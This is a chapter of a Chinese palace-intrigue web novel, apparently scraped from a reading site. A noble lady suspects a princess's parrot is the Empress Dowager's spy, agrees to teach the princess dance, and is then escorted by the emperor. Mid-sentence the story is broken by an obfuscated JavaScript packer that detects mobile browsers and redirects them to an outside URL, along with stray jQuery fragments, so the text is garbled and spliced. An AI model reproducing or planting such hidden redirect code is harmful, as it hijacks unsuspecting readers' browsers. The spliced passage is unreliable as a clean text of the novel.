沈池鱼在谢玉嘉困惑的眼神中,笑问:“公主可有中意的儿郎?”
谢玉嘉羞涩一笑,正要回答,殿内金丝架上的绿鹦鹉忽然扑棱着翅膀,尖着嗓子喊道:
“嫁人!嫁人!”
“两情相悦!两情相悦!”
“郑公子!郑公子!”
它学得惟妙惟肖,把谢玉嘉娇憨的语调模仿了七八分。
谢玉嘉一愣,面上爬上薄红,佯怒道:“如意!你再叫我把你的**全拔完!”
沈池鱼随着笑了声,它学舌学得如此精准,显然平日没少听类似的话。
这个郑公子应该就是谢玉嘉欢喜的人了。
思及此,她心里咯噔一下。
再看向那只**色鲜亮的鹦鹉时若有所思。
沈池鱼状似随意的问:“这鹦鹉真是灵性十足,不知公主是从哪里寻来的?”
谢玉嘉已经起身,拿起架子边的鸟食进行投喂。
闻言,不假思索道:“是母后前些日子赏给我的,母后怕我无聊,说它聪明能被我解闷。”
语气里是对太后关怀的依赖和喜悦。
许是把沈池鱼当成自己人,也不再自称,直接用起了‘我’。
沈池鱼去端茶的手一滞,母后?裴明月?
在旁人发现异常前,她已经恢复自然:“太后娘娘慈心,对公主真是关怀备至。”
“母后是很好的人。”谢玉嘉认真的称赞。
沈池鱼浅笑,借着茶盏里氤氲出的热气遮挡眸底的冷意。
原来如此。
有一只会学舌的鹦鹉,不比宫人要好用?
谢玉嘉应是没听过那句:含情欲说宫中事,鹦鹉前头不敢言。
裴明月这步棋,下得可真是润物细无声。
深宫里的手段,果然**不用刀。
一盏茶喝完,谢玉嘉也重新净了手。
“沈池鱼,你上次跳的舞真好看,也教教我吧。”
沈池鱼问:“公主为何想学跳舞?”
皇宫里有专业的舞师,负责教公主和后妃舞艺,她不明白谢玉嘉为什么找上她。
“母后说那是低贱之人才需要学的东西,不让我学。”
完全没考虑这话会让人难堪。
“我……”谢玉嘉欲言又止,“我听说京都有个海棠姑娘,每逢登台献艺,有人场场不落的去看。”
堂堂公主,金枝玉叶的贵人,只是提起青楼妓子的名字都是脏了嘴。
而现在,贵人居然因为一个妓子想学跳舞,那可不只是自降身价那么简单了。
沈池鱼倒不觉得有什么,她在意的是那句“有人”。
每次她登台献舞,去的人很多,这其中难道有公主的意中人?
满京都姓郑的高门贵族可不多。
沈池鱼略一沉吟,含笑应下:“公主想学是我的荣幸,只是跳舞非一日之功,需要日日勤练,会吃些苦头。”
“我不怕!”
沈池鱼在谢玉嘉指天誓地的保证下,同意成为她暂时的舞师。
于是,长乐殿里时不时传出沈池鱼轻柔的指导声,殿门紧闭,无人知道里面是什么光景。
谢玉嘉学得认真,可她没天赋,时不时同手同脚,或是转圈总摔倒,引得宫女们惊呼不断。
她也不气馁,嘟着嘴抱怨两句,爬起来继续练习。
至傍晚,沈池鱼才告辞,谢玉嘉塞给她一块腰牌。
“你凭此牌,可自由出入皇宫,来教我也更方便。”
沈池鱼收下,没让宫女送,和雪青沿着来时路往外走。
雪青全程在殿外候着,不知道里面发生了什么,但见九公主把能出入宫的腰牌给了自家小姐,觉得此人应该不坏。
“小姐,公主有欺负您吗?”
“没有。”
“那还好,奴婢还以为公主是那种嚣张跋扈的人,没想到还挺可爱。”
沈池鱼倒不觉得这样是什么好事。
这位九公主心性天真烂漫,喜恶分明,在诡谲的皇宫里,这样的性子真的好吗?
主仆二人顺着宫道缓缓而行,金黄的树叶在秋风中簌簌飘落,铺就一地绚烂。
没走多久,只见前方一群人映入眼帘,被一众宫人侍卫簇拥着走在最前面的人,正是天子谢璋。
沈池鱼脚步停住,打算趁着对方没发现前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16573858|176261||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
躲一下。
谁知,谢璋身边的太监双喜一眼看见了她,喊了声:“沈姑娘。”
沈池鱼再躲就不合适了,咬咬后槽牙,忍着不悦往前迎上去。
“臣女参见陛下,陛下万岁万岁万万岁。”
谢璋早远远看见了她,在满是秋色的宫中,那抹藕荷色身影很突出。
上次在镇北王府两人没说上几句话,碍于人多,他也没能细细打量。
现在近距离的看,北境的风沙没折损她的美,人瘦了些,许是很少出门的原因,肤色莹白如玉。
视线从那盈盈一握的纤腰上一掠而过,谢璋摆手,让主仆二人起来。
“你怎么在这儿?”
“九公主约臣女闲叙,时间不早,臣女该出宫了。”
想走的心摆在脸上。
谢璋轻笑:“你和玉嘉有什么好聊的?她没欺负你吧?”
应是无聊闲逛,他着了身明黄常服,玉带束腰,身形和初见时一样略显单薄。
也不一样,一年多的沉淀,他身上属于帝王的沉稳气度愈加明显。
清俊的面容渐渐脱去稚气,眸色不再清澈胆怯,让人不敢轻易对视。
沈池鱼和他打过几次交道,从不会看低他,斟酌道:“陛下说笑,公主很和善怎么会欺负臣女。”
“朕本打算去看看她,既然你刚从那边来,朕就不去了。”
“朕送送你。”
不给沈池鱼拒绝的机会,他率先转身往前,沈池鱼婉拒的话哽在了喉咙里。
双喜一抬手,方才还紧紧跟着谢璋的一堆宫人和侍卫,悄然的保持着较远的距离,以保证不会打扰到前面的两人。
连雪青也被双喜拦住远远的跟着。
走了会儿,谢璋侧首,看向沉默跟在半步后的沈池鱼,忽然开口。
“今早下的旨意,你应该已经听说了?”
沈池鱼没故作不知,坦然应道:“如此大事,有所耳闻。”
“朕将彭延昌的案子交给刑部受审。”
谢璋随手接住一片旋转落下的枯叶,捏在指尖把玩,薄唇勾着笑。
他问:“对此,可还让你满意?”